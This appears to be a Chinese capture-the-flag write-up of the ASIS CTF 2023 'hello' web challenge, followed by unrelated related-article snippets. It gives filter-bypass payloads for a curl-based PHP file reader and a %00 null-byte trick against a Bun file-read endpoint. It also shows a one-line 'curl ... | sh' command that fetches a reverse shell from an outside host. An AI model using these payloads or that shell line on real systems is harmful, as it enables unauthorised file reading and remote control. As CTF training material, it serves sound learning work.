asisctf 2023 web hello wp

news/2024/5/19 21:05:16 标签: web安全, PHP, JS, 00截断, CTF, 代码审计

hello

开题,直接给了源码。

<?php
/*
Read /next.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
    array_key_exists('x', $_GET) &&
    !str_contains(strtolower($_GET['x']),'file') && 
    !str_contains(strtolower($_GET['x']),'next')
){
    $url = $_GET['x'];
}
system('curl '.escapeshellarg($url));

image-20230922231555502

提示我们读取/next.txt文件,但是代码中用str_contains()函数过滤了字符串filenext

分析一下陌生函数。

array_key_exists('x', $_GET):检查数组里是否有指定的键名或索引,相当于issert($_GET['x'])

str_contains(strtolower($_GET['x']),'file'):将第一个参数转小写后检测第一个参数($_GET[‘x’])里面是否包含第二个参数(file字符串)

escapeshellarg($url):将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。这样一来,我们只能curl 一个URL了,无法拼接等操作执行别的命令。


尝试用curl命令+file://伪协议读取文件/next.txt,期间还要绕过过滤。

image-20230923192507614

payload:

?x=fil{e}:///nex{t}.txt

或者

?x=fil%ffe:///nex%fft.txt

或者正则匹配绕过

?x=fil[e-e]:///nex[t-t].txt

解释一下这些paylaod。

第一个包花括号的?x=fil{e}:///nex{t}.txt

这个包花括号绕过法目前只发现对curl的参数有效。比如:

curl fil{e}:///nex{t}.txt
curl {h}ttps://your-shell.com/120.46.41.173:9023 | sh

第二个payload?x=fil%ffe:///nex%fft.txt是利用了escapeshellarg()函数的漏洞,可参考浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过_slug01sh的博客-CSDN博客

成功读取/next.txt文件,提示我们前往http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/

image-20230922231627720

提示我们输入/read/?file=/proc/self/cmdline,猜测这里file参数存在任意文件读取。

image-20230923003017440

先读取一下/proc/self/cmdline看看。

image-20230923203529629

L2Jpbi9idW4tMS4wLjIAL2FwcC9pbmRleC5qcwA=

解密后是

/bin/bun-1.0.2\x00/app/index.js\x00

读取/app/index.js/read/?file=/app/index.js。解码后是:

const fs = require('node:fs');
const path = require('path')

/*
I wonder what is inside /next.txt  
*/

const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
  port: 8000,
  fetch(req) {
  	let url = new URL(req.url);
  	let pname = url.pathname;
  	if(pname.startsWith(`/${secret}`)){
      if(pname.startsWith(`/${secret}/read`)){
        try{
          let fpath = url.searchParams.get('file');
          if(path.basename(fpath).indexOf('next') == -1){ 
            return new Response(fs.readFileSync(fpath).toString('base64'));
          } else {
            return new Response('no way');
          }
        } catch(e){ }
        return new Response("Couldn't read your file :(");
      }
      return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
    }
    return 
  }
});

读一遍代码后发现了逻辑漏洞。在过滤时使用了basename()函数处理传入的文件路径。

if (path.basename(fpath).indexOf('next') == -1){
    return newResponse(fs.readFileSync(fpath).toString('base64'));
}

JS中的basename()函数功能类似于PHP中的basename()函数。函数返回路径中的文件名部分。例如当前路径为/foo/bar.txt,则返回bar.txt

payload:(%00截断

/read/?file=/next.txt%00/xxx

image-20230923210447630

Tm93IGl0J3MgdGltZSBmb3IgYSB3aGl0ZWJveCBjaGFsbGVuZ2UuCkZpbmQgdGhlIGhpZGRlbiBzdWJkb21haW4gYW5kIHRoZW4gYSBzZWNyZXQgZW5kcG9pbnQgYW5kIG9ubHkgdGhlbiB5b3UgbWF5IHJlY2VpdmUgeW91ciBmbGFnLgpMaW5rIHRvIHRoZSB3ZWJzaXRlOiBgYW5WemRDQnJhV1JrYVc1bkxpQkJVMGxUZTJkdmIyUmZhbTlpWDJKMWJuMGdDZz09YAoK

解码后是

Now it's time for a whitebox challenge.
Find the hidden subdomain and then a secret endpoint and only then you may receive your flag.
Link to the website: `anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==`
anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==

解码后如下,成功得到flag

just kidding. ASIS{good_job_bun} 

http://www.niftyadmin.cn/n/5051905.html

相关文章

DataX: Ⅱ

序言 这里使用的是master分支,因为官网上并没有release分支,所以先用master分支吧,可能会有问题cuiyaonan2000163.com 参考资料: https://github.com/alibaba/DataXhttps://github.com/alibaba/DataX/blob/master/introduction.md --插件说明文档 源码打包 首先下载 Git…

科技评估分类

声明 本文是学习GB-T 42776-2023 科技评估分类. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本文件确立了科技评估的分类原则&#xff0c;描述了分类方法&#xff0c;规定了编码方法、分类与代码。 本文件适用于科技评估的规划、设计、委…

公众号留言功能有必要开吗?如何开通留言?

为什么公众号没有留言功能&#xff1f;根据要求&#xff0c;自2018年2月12日起&#xff0c;新申请的微信公众号默认无留言功能。有些人听过一个说法&#xff1a;公众号粉丝累计到一定程度或者原创文章数量累计到一定程度就可以开通留言功能。其实这个方法是2018年之前才可以&am…

基础题——数组

统计输入字符串中的数字和字母的数量。 System.out.println("请输入一个字符串&#xff1a;");Scanner sc new Scanner(System.in);String str sc.next(); // String n "Hello12345World";select(str);}public static void select (String str){int …

反射学习笔记

反射学习笔记 一、反射入门案例 在反射中&#xff0c;万物皆对象&#xff0c;方法也是对象。反射可以在不修改源码的情况下&#xff0c;只需修改配置文件&#xff0c;就能实现功能的改变。 实体类 /*** 动物猫类*/ public class Cat {private String name;public void hi()…

1.算法——数据结构学习

算法是解决特定问题求解步骤的描述。 从1加到100的结果 # include <stdio.h> int main(){ int i, sum 0, n 100; // 执行1次for(i 1; i < n; i){ // 执行n 1次sum sum i; // 执行n次} printf("%d", sum); // 执行1次return 0; }高斯求和…

基础数据标准落标白皮书

1.定义 数据是由特定的环境产生的&#xff0c;这些环境因素包括生产者、时间、系统等&#xff0c;这就造成了同一个语义的数据&#xff0c;会有多种不同的定义方法&#xff0c;这给后期进行数据汇集和整合带来障碍&#xff0c;因此&#xff0c;数据处理的前奏就是数据标准化&a…

CSS笔记——伪类和伪元素

1、伪类 伪类是用于为元素在某些特定状态下添加样式的选择器。它们可以让我们为用户与页面交互时元素的外观和行为进行样式定义。 常用的伪类有: :hover &#xff0c;鼠标悬停 :active :focus &#xff0c;表单聚焦 :blur ,失去表单聚焦 :link &#xff0c;未访问 :visi…